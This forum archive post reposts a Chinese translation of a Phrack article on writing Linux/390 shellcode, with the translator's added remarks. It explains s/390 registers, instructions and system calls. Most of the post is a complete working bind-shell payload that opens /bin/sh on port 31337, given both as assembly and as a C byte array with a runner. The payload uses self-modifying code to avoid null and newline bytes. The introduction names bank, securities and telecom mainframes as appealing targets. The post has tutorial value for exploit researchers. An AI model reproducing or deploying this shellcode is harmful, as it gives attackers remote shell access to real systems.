邪恶八进制信息安全团队技术讨论组's Archiver

sunwear 2005-9-11 04:28

[转载]Linux/390 shellcode development (Phrack59-0x0d)

信息来源:绿盟
==Phrack Inc.==

          Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12

|=----------------=[ Linux/390 shellcode development ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-------=[ johnny cyberpunk <[email]jcyberpunk@thehackerschoice.com[/email]> ]=--------=|
|=-------=[ 整理:e4gle <[email]e4gle@whitecell.org[/email]>  from whitecell.org]=--------=|

--[ 目录

  1 - 介绍

  2 - 正文
   2.1 - 寄存器
   2.2 - 指令
   2.3 - 系统调用
   2.4 - 初始代码
   2.5 - 避免0x00和0x0a
   2.6 - 最终代码

  3 - 参考资料



--[ 1 - 介绍

自从IBM发布了linux/390系统之后,关于它的越来越多的资料都可以在互联网上找到。如果
能一个hacker可以找到如何发现一个大型机的漏洞并且可以exploit它,那将是一件非常有
意义的事情。谁会是大型机的主人呢?对,一个大型的计算机中心,证券系统或者银行电信等。
好,在这篇文章中我将讲述如何在linux/390系统之上书写shellcode的方法。最后我会给出
一个shellcode的例子。


--[ 2 - 正文

最晚1998年一个来自Boeblingen/Germany的小型的IBM开发者团队开始将linux移植到大型机
上。一年后在1999年的12月底第一个版本发布叫IBM s/390。现在存在两个版本。

一个是32位的版本,运行linux系统在s/390上,另一个是64位的版本,运行linux在zSeries上。
支持distros和Suse,redhat和turbolinux。linux for s/390是基于内核版本2.2的,zSeries
是基于内核2.4的。有两种不同的运行linux的方法:

Native     - 整个系统运行linux,没有其他操作系统
LPAR      - 逻辑分区): 硬盘可以划分逻辑分区,例如,一块逻辑分区可以是一个VM/VSE环境
   ,另一块逻辑分区是linux。
VM/ESA Guest - 表示一个用户还可以在虚拟机上运行一个linux系统

二进制格式仍是ELF格式




----[ 2.1 - 寄存器

编写我们的shellcode我们没有必要知道s/390或zSeries的所有寄存器。我们最感兴趣的寄存器
是%r0-%r15。这里我还是在这里列出其他的寄存器,大概介绍一下,给大家有个直观的认识。

通用寄存器      :
      %r0-%r15 或 gpr0-gpr15 被用来寻址操作和计算操作
      
控制寄存器           :
      cr0-cr15仅被用作内核对irq的控制,内存管理,调试控制等等
      
地址寄存器            :
      ar0-ar15通常不用于程序,但通常用于临时存储
      
浮点寄存器      :
      fp0-fp15 有IEEE和HFP两种浮点类型( Linux只使用IEEE )
      
PSW ( 程序状态字 )      :
      这是一个非常重要的寄存器,它充当了一个程序计数器,内存空间指示器和
      条件码寄存器的角色。如果大家需要了解这些寄存器的详细信息,可以在文章
      结尾部分的参考资料中得到帮助。
      


      
----[ 2.2 - 指令

下面我会介绍给大家一些开发我们的shellcode时需要用到的指令格式及语法。


指令                              实例
---------------------------------------------------------------------------
basr (branch and save)      %r1,0          # 保存0到寄存器%r1中
lhi  (load h/word immediate)  lhi %r4,2        # 加载2到寄存器%r4中
la  (load address)        la %r3,120(%r15)   # 把%r15+120这个地址加载到寄存器%r3中
lr  (load register)       lr %r4,%r9       # 将寄存器%r9中的值加载到寄存器%r4中
stc  (store character)      stc %r6,120(%r15)  # 从寄存器%r6存储一个字符到%r15+120中
sth  (store halfword)      sth %r3,122(%r15)  # 从寄存器%r3存储两个字节到%r15+122中
ar  (add)              ar %r6,%r10      # 将两值相加存储到寄存器%r6中
xr  (exclusive or)        xr %r2,%r2       # 0x00 trick :)
svc  (service call)        svc 1          # 退出




----[ 2.3 - 系统调用

在s/390或zSeries的linux机器上系统调用是通过以0x0a为操作码调用SVC指令来实现。
这对我们的shellcoder来说并不是很有利,0x0a在大多数服务中是一个特殊字符。
但是在我开始试验我们如何避开这个使用这个调用的方法之前,让我们来看一下我们
的OS试如何使用系统调用的。

系统调用的首4个参数定义在寄存器%r2-%r5中,结果代码(resultcode)可以在
SVC调用之后在%r2中找到。

Example of an execve call:
下面是一个execve调用的例子:

      basr    %r1,0
base:
      la      %r2,exec-base(%r1)
      la      %r3,arg-base(%r1)
      la      %r4,tonull-base(%r1)
      svc    11          ;e4gle add,估计这里的11就是11号系统调用execve

exec:
      .string  "/bin//sh"
arg:      
      .long  exec
tonull:
      .long  0x0
      

再举一个特殊的例子SVC调用102号系统调用(SYS_SOCKET)。首先我们必须在寄存器
%r2中填上相应的函数(socket,bind,listen,accept,等等),寄存器%r3指向该函数所需
参数的列表。每个列表中参数都是u_long的类型。
/*e4gle add
我个人认为这里地SYS_SOCKET系统调用之所以特殊,也是和普通linux的系统调用sys_socket
一样,它是一个函数组的借口,所以要指定相应的函数,看来还是大同小异:)
*/

来看看socket()调用的例子:

      lhi      %r2,2           # domain
      lhi      %r3,1           # type
      xr      %r4,%r4          # protocol
      stm      %r2,%r4,128(%r15)   # 存储%r2 - %r4
      lhi      %r2,1           # 相应函数socket()
      la      %r3,128(%r15)      # 指向API值
      svc      102            # 调用102号系统调用SYS_SOCKET
      lr      %r7,%r2          # 保存文件描述符到寄存器%r7(就是socket句柄)

      


      
----[ 2.4 - 初始的shellcode代码

好,这里有一个简单的绑定shell到一个端口的shellcode初始代码:

      .globl _start
      
_start:
      basr     %r1,0              # 我们的基地址
base:

      lhi      %r2,2              # AF_INET
      sth      %r2,120(%r15)
      lhi      %r3,31337            # 绑定的端口号
      sth      %r3,122(%r15)
      xr      %r4,%r4             # INADDR_ANY
      st      %r4,124(%r15)         # 120-127是struct sockaddr *
      lhi      %r3,1              # SOCK_STREAM
      stm      %r2,%r4,128(%r15)      # 存储寄存器%r2-%r4, 我们的API值
      lhi      %r2,1              # SOCKET_socket
      la      %r3,128(%r15)         # 指向API 值
      svc      102                # SOCKETCALL
      lr      %r7,%r2             # 保存socket句柄到寄存器%r7中
      la      %r3,120(%r15)         # 指向struct sockaddr *
      lhi      %r9,16              # 保存16到寄存器%r9中
      lr      %r4,%r9             # sizeof address
      stm      %r2,%r4,128(%r15)      # 保存寄存器%r2-%r4, 我们的API值
      lhi      %r2,2              # SOCKET_bind
      la      %r3,128(%r15)         # 指向API值
      svc      102                # 调用socket()
      lr      %r2,%r7             # 获取保存的socket句柄
      lhi      %r3,1              # MAXNUMBER
      stm      %r2,%r3,128(%r15)      #保存寄存器%r2-%r3, 我们的API值
      lhi      %r2,4              # SOCKET_listen
      la      %r3,128(%r15)         # 指向API值
      svc      102                # 调用socket()
      lr      %r2,%r7             # 获取保存的socket句柄
      la      %r3,120(%r15)         # 指向struct sockaddr *
      stm      %r2,%r3,128(%r15)      # 保存寄存器%r2-%r3, 我们的API值
      st      %r9,136(%r15)         # %r9 = 16, this case: fromlen
      lhi      %r2,5              # SOCKET_accept
      la      %r3,128(%r15)         # 指向API值
      svc      102                # 调用socket()
      xr      %r3,%r3             # the following shit
      svc      63                # 复制stdin,stdout(dup2调用)
      ahi      %r3,1              # stderr
      svc      63                # DUP2
      ahi      %r3,1               
      svc      63               
      la      %r2,exec-base(%r1)      # 指向/bin/sh
      la      %r3,arg-base(%r1)      # 指向/bin/sh的地址
      la      %r4,tonull-base(%r1)    # 指向envp的值
      svc      11                # 调用execve
      slr      %r2,%r2               
      svc      1                 # 调用exit
      
exec:
      .string  "/bin//sh"
arg:
      .long  exec
tonull:
      .long  0x0

/*e4gle add           
其实就是以上面的框架依次调用bind,listen,accept等socket函数,他们的系统调用都是102号调用socket()。
思路还是和我们在普通linux上学习shellcode是一样的
*/



----[ 2.5 - 避开0x00 和 0x0a

要得到一个顺利工作的shellcode我们就必须避免两件事情。首先要避免0x00,第二
要避免0x0a。

这里是我们第一个例子

a7 28 00 02         lhi    %r2,02

以下是我的解决方法,可以达到同样的效果:

a7 a8 fb b4         lhi    %r10,-1100
a7 28 04 4e         lhi    %r2,1102
1a 2a             ar    %r2,%r10

我在寄存器%r10中静态定义一个-1100,在加载完1100之后,下一条指令我让
1102-1100,这样给我同样的正确的值。很简单。

下一步我们修改一下svc的操作码:

svc:
      .long 0x0b6607fe       <---- 等同于指令:svc 66; br %r14

看一下第一个字节,此刻它的值是0x0b。下面代码将其改变成0x0a:

basr    %r1,0             # 基地址
la      %r9,svc-base(%r1)     # 加载svc子程序的地址到寄存器%r9
lhi     %r6,1110           # selfmodifing
lhi     %r10,-1100          # code is used
ar      %r6,%r10           # 1110 - 1100 = \x0a SVC的操作码
stc     %r6,svc-base(%r1)     # 保存svc的操作码

最后改变后的代码如下:

0a 66           svc 66
07 fe           br %r14

/*e4gle add
以上它实际调用的是操作码0x0b6607fe,但实际调用的确是0a6607fe,从而避开了
0a。
*/


分解子程序为SVC 102:

basr            %r14,%r9    # branch to subroutine SVC 102

寄存器%r9是子程序的地址,寄存器%r14包含了我们需要跳回的地址。




----[ 2.6 - 最终代码

好,现在看看我们的最终的shellcode代码:

      .globl _start
      
_start:
      basr    %r1,0             # our base-address
base:
      la      %r9,svc-base(%r1)     # load address of svc subroutine
      lhi     %r6,1110           # selfmodifing
      lhi     %r10,-1100          # code is used
      ar      %r6,%r10           # 1110 - 1100 = \x0a opcode SVC
      stc     %r6,svc-base(%r1)     # store svc opcode
      lhi     %r2,1102           # portbind code always uses
      ar      %r2,%r10           # real value-1100 (here AF_INET)
      sth     %r2,120(%r15)
      lhi     %r3,31337          # port
      sth     %r3,122(%r15)
      xr      %r4,%r4            # INADDR_ANY
      st      %r4,124(%r15)        # 120-127 is struct sockaddr *
      lhi     %r3,1101           # SOCK_STREAM
      ar      %r3,%r10
      stm     %r2,%r4,128(%r15)     # store %r2-%r4, our API values
      lhi     %r2,1101           # SOCKET_socket
      ar      %r2,%r10
      la      %r3,128(%r15)        # pointer to the API values
      basr    %r14,%r9           # branch to subroutine SVC 102
      lr      %r7,%r2            # save socket fd to %r7
      la      %r3,120(%r15)        # pointer to struct sockaddr *
      lhi     %r8,1116           
      ar      %r8,%r10           # value 16 is stored in %r8
      lr      %r4,%r8            # size of address
      stm     %r2,%r4,128(%r15)     # store %r2-%r4, our API values
      lhi     %r2,1102           # SOCKET_bind
      ar      %r2,%r10
      la      %r3,128(%r15)        # pointer to the API values
      basr    %r14,%r9           # branch to subroutine SVC 102
      lr      %r2,%r7            # get saved socket fd
      lhi     %r3,1101           # MAXNUMBER
      ar      %r3,%r10
      stm     %r2,%r3,128(%r15)     # store %r2-%r3, our API values
      lhi     %r2,1104           # SOCKET_listen
      ar      %r2,%r10
      la      %r3,128(%r15)        # pointer to the API values
      basr    %r14,%r9           # branch to subroutine SVC 102
      lr      %r2,%r7            # get saved socket fd
      la      %r3,120(%r15)        # pointer to struct sockaddr *
      stm     %r2,%r3,128(%r15)     # store %r2-%r3, our API values
      st      %r8,136(%r15)        # %r8 = 16, in this case fromlen
      lhi     %r2,1105           # SOCKET_accept
      ar      %r2,%r10
      la      %r3,128(%r15)        # pointer to the API values
      basr    %r14,%r9           # branch to subroutine SVC 102
      lhi     %r6,1163           # initiate SVC 63 = DUP2
      ar      %r6,%r10
      stc     %r6,svc+1-base(%r1)      # modify subroutine to SVC 63
      lhi     %r3,1102           # the following shit
      ar      %r3,%r10           # duplicates
      basr    %r14,%r9           # stdin, stdout
      ahi     %r3,-1                # stderr
      basr    %r14,%r9           # SVC 63 = DUP2
      ahi     %r3,-1
      basr    %r14,%r9
      lhi     %r6,1111           # initiate SVC 11 = execve
      ar      %r6,%r10
      stc     %r6,svc+1-base(%r1)    # modify subroutine to SVC 11
      la      %r2,exec-base(%r1)    # point to /bin/sh
      st      %r2,exec+8-base(%r1)   # save address to /bin/sh
      la      %r3,exec+8-base(%r1)   # points to address of /bin/sh
      xr      %r4,%r4            # 0x00 is envp
      stc     %r4,exec+7-base(%r1)   # fix last byte /bin/sh\\ to 0x00
      st      %r4,exec+12-base(%r1)  # store 0x00 value for envp
      la      %r4,exec+12-base(%r1)  # point to envp value
      basr    %r14,%r9           # branch to subroutine SVC 11
svc:
      .long 0x0b6607fe            # our subroutine SVC n + br %r14
exec:
      .string  "/bin/sh\\"
      

c代码 :

char shellcode[]=
"\x0d\x10"      /* basr   %r1,%r0           */
"\x41\x90\x10\xd4"   /* la    %r9,212(%r1)           */
"\xa7\x68\x04\x56"   /* lhi    %r6,1110           */
"\xa7\xa8\xfb\xb4"   /* lhi    %r10,-1100           */
"\x1a\x6a"      /* ar    %r6,%r10           */
"\x42\x60\x10\xd4"   /* stc    %r6,212(%r1)           */
"\xa7\x28\x04\x4e"   /* lhi    %r2,1102           */
"\x1a\x2a"      /* ar    %r2,%r10           */
"\x40\x20\xf0\x78"   /* sth    %r2,120(%r15)        */
"\xa7\x38\x7a\x69"   /* lhi    %r3,31337           */
"\x40\x30\xf0\x7a"   /* sth    %r3,122(%r15)        */
"\x17\x44"      /* xr    %r4,%r4           */
"\x50\x40\xf0\x7c"   /* st    %r4,124(%r15)        */
"\xa7\x38\x04\x4d"   /* lhi    %r3,1101           */
"\x1a\x3a"      /* ar    %r3,%r10           */
"\x90\x24\xf0\x80"   /* stm    %r2,%r4,128(%r15)        */
"\xa7\x28\x04\x4d"   /* lhi    %r2,1101           */
"\x1a\x2a"      /* ar    %r2,%r10           */
"\x41\x30\xf0\x80"   /* la    %r3,128(%r15)        */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\x18\x72"      /* lr    %r7,%r2           */
"\x41\x30\xf0\x78"   /* la    %r3,120(%r15)        */
"\xa7\x88\x04\x5c"   /* lhi    %r8,1116           */
"\x1a\x8a"      /* ar    %r8,%r10           */
"\x18\x48"      /* lr    %r4,%r8           */
"\x90\x24\xf0\x80"   /* stm    %r2,%r4,128(%r15)        */
"\xa7\x28\x04\x4e"   /* lhi    %r2,1102           */
"\x1a\x2a"      /* ar    %r2,%r10           */
"\x41\x30\xf0\x80"   /* la    %r3,128(%r15)        */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\x18\x27"      /* lr    %r2,%r7           */
"\xa7\x38\x04\x4d"   /* lhi    %r3,1101           */
"\x1a\x3a"      /* ar    %r3,%r10           */
"\x90\x23\xf0\x80"   /* stm    %r2,%r3,128(%r15)        */
"\xa7\x28\x04\x50"   /* lhi    %r2,1104           */
"\x1a\x2a"      /* ar    %r2,%r10           */
"\x41\x30\xf0\x80"   /* la    %r3,128(%r15)        */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\x18\x27"      /* lr    %r2,%r7           */
"\x41\x30\xf0\x78"   /* la    %r3,120(%r15)        */
"\x90\x23\xf0\x80"   /* stm    %r2,%r3,128(%r15)        */
"\x50\x80\xf0\x88"   /* st    %r8,136(%r15)        */
"\xa7\x28\x04\x51"   /* lhi    %r2,1105           */
"\x1a\x2a"      /* ar    %r2,%r10           */
"\x41\x30\xf0\x80"   /* la    %r3,128(%r15)        */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\xa7\x68\x04\x8b"   /* lhi    %r6,1163           */
"\x1a\x6a"      /* ar    %r6,%r10           */
"\x42\x60\x10\xd5"   /* stc    %r6,213(%r1)           */
"\xa7\x38\x04\x4e"   /* lhi    %r3,1102           */
"\x1a\x3a"      /* ar    %r3,%r10           */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\xa7\x3a\xff\xff"   /* ahi    %r3,-1           */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\xa7\x3a\xff\xff"   /* ahi    %r3,-1           */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\xa7\x68\x04\x57"   /* lhi    %r6,1111           */
"\x1a\x6a"      /* ar    %r6,%r10           */
"\x42\x60\x10\xd5"   /* stc    %r6,213(%r1)           */
"\x41\x20\x10\xd8"   /* la    %r2,216(%r1)           */
"\x50\x20\x10\xe0"   /* st    %r2,224(%r1)           */
"\x41\x30\x10\xe0"   /* la    %r3,224(%r1)           */
"\x17\x44"      /* xr    %r4,%r4           */
"\x42\x40\x10\xdf"   /* stc    %r4,223(%r1)           */
"\x50\x40\x10\xe4"   /* st    %r4,228(%r1)           */
"\x41\x40\x10\xe4"   /* la    %r4,228(%r1)           */
"\x0d\xe9"      /* basr   %r14,%r9           */
"\x0b\x66"      /* svc     102      <--- after modification   */
"\x07\xfe"      /* br    %r14              */
"\x2f\x62\x69\x6e"   /* /bin                */
"\x2f\x73\x68\x5c";   /* /sh\                */

main()
{
void (*z)()=(void*)shellcode;
z();
}

/*e4gle add
后面避免0x00,0x0a部分我大概能理解,但无法在文章上表达出来,因为缺少这个系统的经验,所以自己也没
完全吃透,如果有高手可以测试并给我指出我非常感谢!
*/

--[ 3 - 参考资料:


[1] z/Architecture Principles of Operation (SA22-7832-00)
   [url]http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf[/url]

[2] Linux for S/390 ( SG24-4987-00 )
   [url]http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf[/url]

[3] LINUX for S/390 ELF Application Binary Interface Supplement
   [url]http://oss.software.ibm.com/linux390/docu/l390abi0.pdf[/url]

[4] Example exploits
   [url]http://www.thehackerschoice.com/misc/sploits/[/url]


|=[ EOF ]=---------------------------------------------------------------=|

页: [1]
© 1999-2008 EvilOctal Security Team